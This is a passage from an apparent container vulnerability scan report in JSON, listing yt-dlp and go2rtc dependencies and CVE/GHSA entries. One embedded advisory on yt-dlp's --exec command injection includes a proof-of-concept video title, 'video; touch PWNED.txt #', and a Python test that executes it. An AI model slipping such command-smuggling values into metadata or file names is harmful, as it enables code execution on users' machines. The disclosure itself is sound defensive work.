"https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796", "https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789", "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04", "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32", "https://nvd.nist.gov/vuln/detail/CVE-2026-55404" ], "PublishedDate": "2026-07-08T20:16:52.987Z", "LastModifiedDate": "2026-07-13T17:01:13.303Z" }, { "VulnerabilityID": "GHSA-69qj-pvh9-c5wg", "PkgName": "yt-dlp", "PkgPath": "usr/local/lib/python3.14/site-packages/yt_dlp-2026.3.17.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/yt-dlp@2026.3.17", "UID": "47b8fec27e3c44d6" }, "InstalledVersion": "2026.3.17", "FixedVersion": "2026.6.9", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://github.com/advisories/GHSA-69qj-pvh9-c5wg", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:dfd8c1c0074435d994258f9bb7f83b34761364b1716837da07cf1300df25e786", "Title": "yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp", "Description": "### Summary\nyt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.\n\n### Details\nSince yt-dlp version 2021.04.11, the `--exec` option has supported \"output template syntax\", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a \"command template\" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.\n\nyt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `\u0026`, `|`) to break out of the intended command and execute payload commands.\n\n### Impact\n\nThe impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.)\n\n### Patches\n\nyt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax.\n\n### Workarounds\n\nThis vulnerability can be fully mitigated by doing any of the following:\n\n- Upgrade yt-dlp to version 2026.06.09 or later\n- Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates\n- Do not use \"output template syntax\" in any `--exec` arguments\n- Do not use the `--exec` option\n\n### Proof-of-Concept\n\n1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #`\n2. The victim downloads this video using yt-dlp with the `--exec` flag.\n\nReproduction steps (simulated):\n1. Create a python script poc.py to simulate the internal behavior:\n\n```bash\nimport unittest\nimport os\n\nfrom yt_dlp.postprocessor.exec import ExecPP\nfrom yt_dlp.YoutubeDL import YoutubeDL\nfrom yt_dlp.utils import PostProcessingError\n\n# Import Popen to use the REAL one for the PoC (to actually create the file)\nfrom yt_dlp.utils import Popen as RealPopen\n\nclass TestDemonstrativePoC(unittest.TestCase):\n FILE_NAME = \"PWNED.txt\"\n\n def setUp(self):\n # Remove the file if it exists\n if os.path.exists(self.FILE_NAME):\n os.remove(self.FILE_NAME)\n\n def test_1_demonstrate_vulnerability_simulated(self):\n \"\"\"\n Simulates the code BEFORE the fix to show what would happen.\n \"\"\"\n print(\"\\n--- TEST 1: Simulating vulnerable state ---\")\n\n # 1. Define the vulnerable Parse Method\n def vulnerable_parse_cmd(self, cmd, info):\n # This mimics the code before my patch\n tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)\n if tmpl_dict:\n return self._downloader.escape_outtmpl(tmpl) % tmpl_dict\n return cmd\n\n # 2. Patch the class temporarily\n original_parse_cmd = ExecPP.parse_cmd\n ExecPP.parse_cmd = vulnerable_parse_cmd\n\n info = {\n 'id': '1234',\n # MALICIOUS TITLE:\n # 1. 'video' gets echoed\n # 2. ; separator\n # 3. touch PWNED.txt creates the file\n # 4. # comments out the rest\n 'title': f'video; touch {self.FILE_NAME} #',\n 'ext': 'mp4',\n 'filepath': 'video.mp4'\n }\n\n ydl = YoutubeDL({'verbose': False, 'quiet': True})\n\n try:\n print(f\"[*] Payload Title: {info['title']}\")\n print(\"[*] Executing: echo %(title)s\")\n\n # Use the REAL Popen to actually execute shell commands\n import yt_dlp.postprocessor.exec\n original_popen_ref = yt_dlp.postprocessor.exec.Popen\n yt_dlp.postprocessor.exec.Popen = RealPopen\n\n pp = ExecPP(ydl, 'echo %(title)s')\n pp.run(info)\n\n # Restore Popen ref\n yt_dlp.postprocessor.exec.Popen = original_popen_ref\n\n # Check if file was created\n if os.path.exists(self.FILE_NAME):\n print(f\"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!\")\n else:\n print(\"[?] File not created. Payload might have failed.\")\n\n finally:\n # Restore the secure method\n ExecPP.parse_cmd = original_parse_cmd\n\nif __name__ == '__main__':\n unittest.main()\n```\n2. Run the script: `python3 poc.py`\n3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution.\n\n\u003cimg width=\"1386\" height=\"757\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08\" /\u003e", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://github.com/yt-dlp/yt-dlp", "https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447", "https://github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2", "https://github.com/yt-dlp/yt-dlp/pull/16883", "https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09", "https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg" ], "PublishedDate": "2026-06-16T22:29:14Z", "LastModifiedDate": "2026-06-16T22:29:14Z" } ] }, { "Target": "bin/go2rtc", "Class": "lang-pkgs", "Type": "gobinary", "Packages": [ { "ID": "github.com/AlexxIT/go2rtc@v1.9.14", "Name": "github.com/AlexxIT/go2rtc", "Identifier": { "PURL": "pkg:golang/github.com/alexxit/go2rtc@v1.9.14", "UID": "7cb3652a6fd8f923" }, "Version": "v1.9.14", "Relationship": "root", "DependsOn": [ "github.com/eclipse/paho.mqtt.golang@v1.5.1", "github.com/expr-lang/expr@v1.17.7", "github.com/google/uuid@v1.6.0", "github.com/gorilla/websocket@v1.5.3", "github.com/mattn/go-colorable@v0.1.14", "github.com/mattn/go-isatty@v0.0.20", "github.com/miekg/dns@v1.1.70", "github.com/pion/datachannel@v1.6.0", "github.com/pion/dtls/v3@v3.0.10", "github.com/pion/ice/v4@v4.2.0", "github.com/pion/interceptor@v0.1.43", "github.com/pion/logging@v0.2.4", "github.com/pion/mdns/v2@v2.1.0", "github.com/pion/randutil@v0.1.0", "github.com/pion/rtcp@v1.2.16", "github.com/pion/rtp@v1.10.0", "github.com/pion/sctp@v1.9.2", "github.com/pion/sdp/v3@v3.0.17", "github.com/pion/srtp/v3@v3.0.10", "github.com/pion/stun/v3@v3.1.1", "github.com/pion/transport/v4@v4.0.1", "github.com/pion/turn/v4@v4.1.4", "github.com/pion/webrtc/v4@v4.2.3", "github.com/rs/zerolog@v1.34.0", "github.com/sigurn/crc16@v0.0.0-20240131213347-83fcde1e29d1", "github.com/sigurn/crc8@v0.0.0-20220107193325-2243fe600f9f", "github.com/tadglines/go-pkgs@v0.0.0-20210623144937-b983b20f54f9", "github.com/wlynxg/anet@v0.0.5", "golang.org/x/crypto@v0.47.0", "golang.org/x/net@v0.49.0", "golang.org/x/sync@v0.19.0", "golang.org/x/sys@v0.40.0", "golang.org/x/time@v0.14.0", "gopkg.in/yaml.v3@v3.0.1", "stdlib@v1.25.6" ], "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "stdlib@v1.25.6", "Name": "stdlib", "Identifier": { "PURL": "pkg:golang/stdlib@v1.25.6", "UID": "ac9e47f11f005f2c" }, "Version": "v1.25.6", "Relationship": "direct", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/eclipse/paho.mqtt.golang@v1.5.1", "Name": "github.com/eclipse/paho.mqtt.golang", "Identifier": { "PURL": "pkg:golang/github.com/eclipse/paho.mqtt.golang@v1.5.1", "UID": "6f60c3a28e47fca1" }, "Version": "v1.5.1", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/expr-lang/expr@v1.17.7", "Name": "github.com/expr-lang/expr", "Identifier": { "PURL": "pkg:golang/github.com/expr-lang/expr@v1.17.7", "UID": "dc36eb1f1a73f237" }, "Version": "v1.17.7", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/google/uuid@v1.6.0", "Name": "github.com/google/uuid", "Identifier": { "PURL": "pkg:golang/github.com/google/uuid@v1.6.0", "UID": "6f9a8d6f46a1f7f5" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/gorilla/websocket@v1.5.3", "Name": "github.com/gorilla/websocket", "Identifier": { "PURL": "pkg:golang/github.com/gorilla/websocket@v1.5.3", "UID": "2d1aceb444be3807" }, "Version": "v1.5.3", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-colorable@v0.1.14", "Name": "github.com/mattn/go-colorable", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-colorable@v0.1.14", "UID": "6ce76979322f8e64" }, "Version": "v0.1.14", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/mattn/go-isatty@v0.0.20", "Name": "github.com/mattn/go-isatty", "Identifier": { "PURL": "pkg:golang/github.com/mattn/go-isatty@v0.0.20", "UID": "37ecff8357a35628" }, "Version": "v0.0.20", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/miekg/dns@v1.1.70", "Name": "github.com/miekg/dns", "Identifier": { "PURL": "pkg:golang/github.com/miekg/dns@v1.1.70", "UID": "26b562de35980e03" }, "Version": "v1.1.70", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/datachannel@v1.6.0", "Name": "github.com/pion/datachannel", "Identifier": { "PURL": "pkg:golang/github.com/pion/datachannel@v1.6.0", "UID": "c52a163fd0f13467" }, "Version": "v1.6.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/dtls/v3@v3.0.10", "Name": "github.com/pion/dtls/v3", "Identifier": { "PURL": "pkg:golang/github.com/pion/dtls/v3@v3.0.10", "UID": "d4dbff3329ece5f4" }, "Version": "v3.0.10", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/ice/v4@v4.2.0", "Name": "github.com/pion/ice/v4", "Identifier": { "PURL": "pkg:golang/github.com/pion/ice/v4@v4.2.0", "UID": "668d4cae7021ebe9" }, "Version": "v4.2.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/interceptor@v0.1.43", "Name": "github.com/pion/interceptor", "Identifier": { "PURL": "pkg:golang/github.com/pion/interceptor@v0.1.43", "UID": "9dd9176d4555215e" }, "Version": "v0.1.43", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/logging@v0.2.4", "Name": "github.com/pion/logging", "Identifier": { "PURL": "pkg:golang/github.com/pion/logging@v0.2.4", "UID": "ba44d93799aef380" }, "Version": "v0.2.4", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/mdns/v2@v2.1.0", "Name": "github.com/pion/mdns/v2", "Identifier": { "PURL": "pkg:golang/github.com/pion/mdns/v2@v2.1.0", "UID": "4dd114e164ba9f88" }, "Version": "v2.1.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/randutil@v0.1.0", "Name": "github.com/pion/randutil", "Identifier": { "PURL": "pkg:golang/github.com/pion/randutil@v0.1.0", "UID": "e59e6b745a18e948" }, "Version": "v0.1.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/rtcp@v1.2.16", "Name": "github.com/pion/rtcp", "Identifier": { "PURL": "pkg:golang/github.com/pion/rtcp@v1.2.16", "UID": "408a999621d4c2fb" }, "Version": "v1.2.16", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/rtp@v1.10.0", "Name": "github.com/pion/rtp", "Identifier": { "PURL": "pkg:golang/github.com/pion/rtp@v1.10.0", "UID": "75c3068e74a1ab5e" }, "Version": "v1.10.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/sctp@v1.9.2", "Name": "github.com/pion/sctp", "Identifier": { "PURL": "pkg:golang/github.com/pion/sctp@v1.9.2", "UID": "a665559175baa082" }, "Version": "v1.9.2", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/sdp/v3@v3.0.17", "Name": "github.com/pion/sdp/v3", "Identifier": { "PURL": "pkg:golang/github.com/pion/sdp/v3@v3.0.17", "UID": "59eb9168ff6310cb" }, "Version": "v3.0.17", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/srtp/v3@v3.0.10", "Name": "github.com/pion/srtp/v3", "Identifier": { "PURL": "pkg:golang/github.com/pion/srtp/v3@v3.0.10", "UID": "d12679c458f3ded0" }, "Version": "v3.0.10", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/stun/v3@v3.1.1", "Name": "github.com/pion/stun/v3", "Identifier": { "PURL": "pkg:golang/github.com/pion/stun/v3@v3.1.1", "UID": "fa292b947a94b1d1" }, "Version": "v3.1.1", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/transport/v4@v4.0.1", "Name": "github.com/pion/transport/v4", "Identifier": { "PURL": "pkg:golang/github.com/pion/transport/v4@v4.0.1", "UID": "ac9c48971315142d" }, "Version": "v4.0.1", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/turn/v4@v4.1.4", "Name": "github.com/pion/turn/v4", "Identifier": { "PURL": "pkg:golang/github.com/pion/turn/v4@v4.1.4", "UID": "f419504061b18e15" }, "Version": "v4.1.4", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/pion/webrtc/v4@v4.2.3", "Name": "github.com/pion/webrtc/v4", "Identifier": { "PURL": "pkg:golang/github.com/pion/webrtc/v4@v4.2.3", "UID": "1377155a4165845d" }, "Version": "v4.2.3", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/rs/zerolog@v1.34.0", "Name": "github.com/rs/zerolog", "Identifier": { "PURL": "pkg:golang/github.com/rs/zerolog@v1.34.0", "UID": "d324b70041902a84" }, "Version": "v1.34.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sigurn/crc16@v0.0.0-20240131213347-83fcde1e29d1", "Name": "github.com/sigurn/crc16", "Identifier": { "PURL": "pkg:golang/github.com/sigurn/crc16@v0.0.0-20240131213347-83fcde1e29d1", "UID": "85b342c914673ed2" }, "Version": "v0.0.0-20240131213347-83fcde1e29d1", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/sigurn/crc8@v0.0.0-20220107193325-2243fe600f9f", "Name": "github.com/sigurn/crc8", "Identifier": { "PURL": "pkg:golang/github.com/sigurn/crc8@v0.0.0-20220107193325-2243fe600f9f", "UID": "1803a22b437c1f95" }, "Version": "v0.0.0-20220107193325-2243fe600f9f", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/tadglines/go-pkgs@v0.0.0-20210623144937-b983b20f54f9", "Name": "github.com/tadglines/go-pkgs", "Identifier": { "PURL": "pkg:golang/github.com/tadglines/go-pkgs@v0.0.0-20210623144937-b983b20f54f9", "UID": "b1618d58cfcfc948" }, "Version": "v0.0.0-20210623144937-b983b20f54f9", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/wlynxg/anet@v0.0.5", "Name": "github.com/wlynxg/anet", "Identifier": { "PURL": "pkg:golang/github.com/wlynxg/anet@v0.0.5", "UID": "ab339081413ff35f" }, "Version": "v0.0.5", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/crypto@v0.47.0", "Name": "golang.org/x/crypto", "Identifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "Version": "v0.47.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/net@v0.49.0", "Name": "golang.org/x/net", "Identifier": { "PURL": "pkg:golang/golang.org/x/net@v0.49.0", "UID": "6f6aa4d0a1946d37" }, "Version": "v0.49.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sync@v0.19.0", "Name": "golang.org/x/sync", "Identifier": { "PURL": "pkg:golang/golang.org/x/sync@v0.19.0", "UID": "9b465db906c2821d" }, "Version": "v0.19.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/sys@v0.40.0", "Name": "golang.org/x/sys", "Identifier": { "PURL": "pkg:golang/golang.org/x/sys@v0.40.0", "UID": "d6b234fc6204462f" }, "Version": "v0.40.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "golang.org/x/time@v0.14.0", "Name": "golang.org/x/time", "Identifier": { "PURL": "pkg:golang/golang.org/x/time@v0.14.0", "UID": "41ebcd40ea7ba41a" }, "Version": "v0.14.0", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" }, { "ID": "gopkg.in/yaml.v3@v3.0.1", "Name": "gopkg.in/yaml.v3", "Identifier": { "PURL": "pkg:golang/gopkg.in/yaml.v3@v3.0.1", "UID": "da82d7557296804f" }, "Version": "v3.0.1", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "AnalyzedBy": "gobinary" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-39828", "VendorIDs": [ "GO-2026-5014" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39828", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:46074a6c9278fa03fe0eb283ac57672e165742d7f36bc825b25764549bbcb035", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Unauthorized command execution via discarded SSH permissions", "Description": "When an SSH server authentication callback returned PartialSuccessError with non-nil Permissions, those permissions were silently discarded, potentially dropping certificate restrictions such as force-command after a second factor succeeded. Returning non-nil Permissions with PartialSuccessError now results in a connection error.", "Severity": "HIGH", "CweIDs": [ "CWE-295", "CWE-281" ], "VendorSeverity": { "amazon": 2, "azure": 2, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:46903", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39828", "https://bugzilla.redhat.com/show_bug.cgi?id=2480687", "https://go.dev/cl/781621", "https://go.dev/issue/79562", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-39828", "https://pkg.go.dev/vuln/GO-2026-5014", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39828.json", "https://www.cve.org/CVERecord?id=CVE-2026-39828" ], "PublishedDate": "2026-05-22T04:16:22.19Z", "LastModifiedDate": "2026-09-11T13:17:51.26Z" }, { "VulnerabilityID": "CVE-2026-39829", "VendorIDs": [ "GO-2026-5018" ], "PkgID": "golang.org/x/crypto@v0.47.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.47.0", "UID": "2b11d4d3c3314628" }, "InstalledVersion": "v0.47.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:376b4846642b64cfd787556c13dfc8c02c0e1c2c3cf7d8d3a4804f5116df65ff" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39829", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:167872b09d97fd94b5de07c98b46cf462ed87401ff37144e8662b39ed600bd20", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted public key with excessive parameters", "Description": "The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.", "Severity": "HIGH", "CweIDs": [ "CWE-347", "CWE-1284" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:29455", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36199", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36319", "https://access.redhat.com/errata/RHSA-2026:36625", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37268", "https://access.redhat.com/errata/RHSA-2026:37271", "https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37278", "https://access.redhat.com/errata/RHSA-2026:37286", 